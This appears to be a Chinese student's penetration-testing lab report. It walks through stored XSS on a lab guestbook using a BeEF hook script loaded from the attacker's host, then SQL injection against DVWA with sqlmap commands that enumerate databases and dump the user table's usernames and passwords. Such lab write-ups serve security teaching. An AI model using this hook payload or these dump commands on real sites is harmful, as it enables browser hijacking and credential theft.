网络渗透测试实验三——XSS和SQL注入

实验目的

了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。

系统环境

Kali Linux 2、Windows Server

网络环境

交换网络结构

实验工具

Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

实验步骤

XSS部分

利用Beef劫持被攻击者客户端浏览器。
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。

1.利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。

使用Windows Server 2003建立留言簿网站,如图。

用AWVS扫描后其存在的XSS漏洞如下图。

2 Kali使用beef生成恶意代码,截图。

使用如下代码

apt-get install beef-xss

安装beEF。
安装成功后进入etc/beef-xss打开config.yaml修改默认的账号密码(不能用默认账号密码,直接使用会报错)。

完成后保存退出。
输入以下代码

cd /usr/share/beef-xss
./beef

待其加载完成后生成的恶意代码如下。

3.访问 http://留言簿网站/message.asp ;将以下恶意代码写入网站留言板,截图。

<script src="http://Kali的IP地址:3000/hook.js"></script>

4.管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beef中的配置截图。

kali中打开如下网址,输入刚才修改的账号密码登录。

beef中配置截图如下(指定被劫持网站为Baidu)。

5.回答问题:实验中XSS攻击属于哪种类型?

属于存储型XSS攻击

SQL注入部分:DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机(IP为192.168.134.129)。

1.注入点发现。首先肯定是要判断是否有注入漏洞。

在输入框输入1,返回
ID: 1
First name: admin
Surname: admin

返回正常;

再次输入1’,报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1

此时可以断定有SQL注入漏洞。
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低。

在浏览器中按F12找到Storage中的Cookie即可。

security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd

2.枚举当前使用的数据库名称和用户名。

你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' -b  --current-db  --current-user

Sqlmap输出截图。

3.枚举数据库用户名和密码

你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" --users --password

Sqlmap输出截图。

4.枚举数据库

–dbs:枚举当前数据库
你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -dbs

Sqlmap输出截图。

5.枚举数据库和指定数据库的数据表

-D 数据库名:指定数据库
–tables:枚举指定数据库的所有表
你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa --tables

Sqlmap输出截图。
(该题及以下题目的截图原图丢失,重新做了一遍,所以截图的IP和cookie的PHPSESSID会有不同)

6.获取指定数据库和表中所有列的信息

-D:指定的数据库
-T:指定数据库中的数据表
–columns:获取列的信息
你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users --columns

Sqlmap输出截图。

7.枚举指定数据表中的所有用户名与密码,并down到本地。

-C:枚举数据表中的列
–dump:存储数据表项
你输入的命令:

sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users -C user,password --dump

Sqlmap输出截图。

查看down到本地的用户名与密码,截图。(提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)

实验小结

本次实验应用:

  1. 使用Windows Server搭建留言簿网站
  2. 发现XSS漏洞,BeEF劫持留言簿网站
  3. SQL命令使用

对我来说,这次实验相比前面的难度确实要稍高些。长路漫漫,继续加油吧。

网络渗透测试实验三——XSS和SQL注入相关推荐

  1. 网络渗透测试实验三 XSS和SQL

    网络渗透测试实验三 XSS和SQL注入 实验目的:了解什么是XSS:思考防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏 ...

  2. 实验三 XSS和SQL注入

    实验三 XSS和SQL注入 实验目的:了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQ ...

  3. (超详细)XSS和SQL注入-网络渗透测试实验三

    文章目录 前言 实验目的 系统环境 网络环境 实验工具 XSS部分:利用Beef劫持被攻击者客户端浏览器. 实验环境搭建. 环境搭建参考网站 搭建IIS时踩的坑: 1.利用AWVS扫描留言簿网站,发现 ...

  4. 网络渗透测试实验二(网络扫描与网络侦察)

    实验目的:理解网络扫描.网络侦察的作用:通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎.扫描工具的应用,通过信息收集为下一步渗透工作打下基础. 系统环境:Kali Linux 2.Windows 网 ...

  5. 三层网络渗透测试实验

    前言 在渗透测试过程中我们会遇到很多不同的网络情况,或许普通的内网渗透我们已经很熟练了,但在现实环境中或许会有多层网络结构,如果遇到多层网络结构我们应该如何进行渗透呢? 利用这个实验我们就可以更清晰的 ...

  6. 网络渗透测试实验一 网络扫描与网络侦查

    实验目的 理解网络扫描.网络侦察的作用:通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎.扫描工具的应用,通过信息收集为下一步渗透工作打下基础. 实验内容.原理 一.被动扫描 1.搜索麻省理工学院网站 ...

  7. GUET网络渗透测试实验报告1

    1.实验目的 理解网络扫描.网络侦察的作用:通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎.扫描工具的应用,通过信息收集为下一步渗透工作打下基础. 2. 实验内容.原理 3. 实验过程 1.用搜索引 ...

  8. 网络渗透测试实验一 网络扫描与网络侦察

    目录 一.实验目的和要求 二.实验步骤 三.实验小结 一.实验目的和要求 实验目的:理解网络扫描.网络侦察的作用:通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎.扫描工具的应用,通过信息收集为下一步 ...

  9. 网络渗透测试实验——网络扫描与网络侦察

    目录 1. 实验目的和要求 2. 实验步骤 3. 实验小结 实验目的和要求        理解网络扫描.网络侦察的作用:通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎.扫描工具的应用,通过信息收集为 ...

最新文章

  1. “不会Linux,到底有多危险?”骨灰级成程序员:基本等于自废武功!
  2. 手动安装huson插件的做法
  3. matlab转向梯形优化设计,转向梯形优化设计matlab程序
  4. 网工小课堂(part1)--计算机网络概论
  5. Facebook也大干新闻聚合 “新闻快读”向所有媒体开放
  6. 企业中该如何防止僵尸网络的入侵?
  7. Midori 0.5 发布,轻量级跨平台网页浏览器
  8. C# OpenCV OpenCVSharp应用实例--LCD屏幕脏污检测
  9. BS和CS架构的区别
  10. 影响力最大化 IC模型+贪心算法
  11. 抖音数据统计_抖音直播带货数据分析(最新教程)
  12. oracle数据库长连接和短连接,tcp 长连接与短连接
  13. 计算机的快速启动栏,电脑快速启动栏不见了
  14. 【golang】go app 优雅关机 Graceful Shutdown How?
  15. Spring Boot 学习之路 使用JPA对Girl 操作
  16. 基于声学模型共享的零资源韩语识别系统
  17. 【译】前端开发者的基本要求
  18. 大连交大c语言题库,大连理工大学C语言题库(共12套) .pdf
  19. 京东联盟 很抱歉,账号无可用认证方式 的解决
  20. 数控机床的c语言编程,数控机床的编程方法和典型实例分析

热门文章

  1. java fix sence_iFixit 拆解:Apple 苹果 再次改进蝶式键盘机械结构
  2. 什么是极客(Geek)?怎样成为一名极客?
  3. java三元表达式必须返回_java – 三元运算符的右手表达式必须兼容...
  4. IDEA的修改背景照片and使用技巧
  5. charles系列破解激活办法(最高charles4.2都可以激活)
  6. 使用flex时的自动换行
  7. python数据分析与应用第四章课后实训答案_应用回归分析,第4章课后习题参考答案...
  8. 东方通TongWeb前后端应用部署
  9. 大数据2 Hadoop
  10. Python 计算思维训练——输入和错误处理练习(二)